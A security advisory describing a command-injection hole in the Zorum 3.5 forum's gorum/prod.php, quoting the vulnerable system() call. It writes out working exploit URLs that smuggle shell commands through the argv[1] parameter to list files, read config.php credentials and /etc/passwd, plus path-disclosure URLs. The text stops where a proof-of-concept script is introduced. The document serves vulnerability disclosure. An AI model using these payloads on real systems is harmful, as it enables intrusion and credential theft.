Zorum Input Validation Hole in 'gorum/prod.php' Lets Remote Users Include and Execute Arbitrary Code
SecurityTracker Alert ID:  1014725
SecurityTracker URL:  http://securitytracker.com/id/1014725
CVE Reference:   CVE-2005-2651, CVE-2005-2652   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 18 2005
Impact:   Disclosure of system information, Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 3.5
Description:   rgod reported a vulnerability in Zorum. A remote user can execute arbitrary code on the target system. A remote user can also determine the installation path.

The '/gorum/prod.php' script does not properly validate user-supplied input in the 'argv' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la
http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php
http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd

A remote user can supply the following URLs to cause the system to disclose the installation path:

http://[target]/zorum/gorum/notification.php
http://[target]/zorum/user.php
http://[target]/zorum/attach.php
http://[target]/zorum/blacklist.php
http://[target]/zorum/forum.php
http://[target]/zorum/globalstat.php
http://[target]/zorum/gorum/trace.php
http://[target]/zorum/gorum/badwords.php
http://[target]/zorum/gorum/flood.php

Other scripts are also affected.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

A remote user can determine the installation path.

Solution:   No solution was available at the time of this entry.
Vendor URL:  zorum.phpoutsourcing.com/ (Links to External Site)
Cause:   Access control error, Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

1) remote code execution:

vulnerable code, in /gorum/prod.php file:


07  $doubleApp = isset($argv[1]); 

   ...
14   if( $doubleApp )
15   {
16      $appDir = $argv[1];
17      system("mkdir $prodDir/$appDir");
   ...

a user can execute arbitrary commands using pipe char, example:

http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la

to list directories

http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php

to see database username/password...

http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd

to see /etc/passwd file

this is my proof of concept exploit with proxy support:
